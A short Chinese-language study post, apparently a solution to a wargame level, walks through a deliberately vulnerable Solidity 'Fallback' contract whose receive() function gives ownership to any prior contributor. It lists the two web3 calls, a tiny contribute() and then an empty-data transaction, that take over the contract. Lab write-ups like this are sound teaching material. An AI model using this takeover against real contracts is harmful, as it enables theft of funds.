Web3入门的合约权限提升#

最近真是最艰难的时期了，

最近在学一些区块链安全，也就写一些基础审计吧

参照ERC20以及全局注入的web3 js标准接口

源码如下

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract Fallback {
5
    mapping(address => uint256) public contributions;
6
    address public owner;
7

8
    constructor() {
9
        owner = msg.sender;
10
        contributions[msg.sender] = 1000 * (1 ether);
11
    }
12

13
    modifier onlyOwner() {
14
        require(msg.sender == owner, "caller is not the owner");
15
        _;
16
    }
17

18
    function contribute() public payable {
19
        require(msg.value < 0.001 ether);
20
        contributions[msg.sender] += msg.value;
21
        if (contributions[msg.sender] > contributions[owner]) {
22
            owner = msg.sender;
23
        }
24
    }
25

26
    function getContribution() public view returns (uint256) {
27
        return contributions[msg.sender];
28
    }
29

30
    function withdraw() public onlyOwner {
31
        payable(owner).transfer(address(this).balance);
32
    }
33

34
    receive() external payable {
35
        require(msg.value > 0 && contributions[msg.sender] > 0);
36
        owner = msg.sender;
37
    }
38
}

非常清晰，在contribution的msg贡献值需要大于0，再发一个data空包就可以接管合约了

进行2次调用，

1
contract.contribute({value:1})

1
web3.eth.sendTransaction({
2
to:"xxxxxxxxxxxxx",
3
from:player,
4
value:1,
5
data:""
6
})

并且在二次调用的时候，区别也只有第一次的data是函数地址的区别，结构倒是统一的

以上